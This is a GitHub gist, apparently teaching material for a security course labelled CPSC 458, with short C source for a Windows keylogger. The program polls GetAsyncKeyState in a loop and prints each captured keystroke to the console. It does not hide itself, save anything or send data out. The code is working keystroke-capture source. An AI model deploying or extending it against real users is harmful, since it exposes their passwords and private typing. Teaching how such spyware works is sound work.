Last active
October 8, 2024 17:55
-
-
Save ProfAvery/51fd3996de6a56bd9fc6c12c0e48578c to your computer and use it in GitHub Desktop.
CPSC 458 - Key logger using GetAsyncKeyState()
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdbool.h> | |
#define WIN32_LEAN_AND_MEAN | |
#include <windows.h> | |
#include <winuser.h> | |
#pragma comment(lib, "user32.lib") | |
int main() | |
{ | |
while (true) | |
{ | |
// See https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes | |
for (int i = VK_LBUTTON; i < VK_OEM_CLEAR; i++) | |
{ | |
// See https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate | |
if (GetAsyncKeyState(i) & 0x01) | |
{ | |
if (i >= ' ' && i <= '~') | |
{ | |
// visible | |
putchar(i); | |
} | |
else | |
{ | |
// control chars | |
printf("<%02x>", i); | |
} | |
} | |
} | |
Sleep(80); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment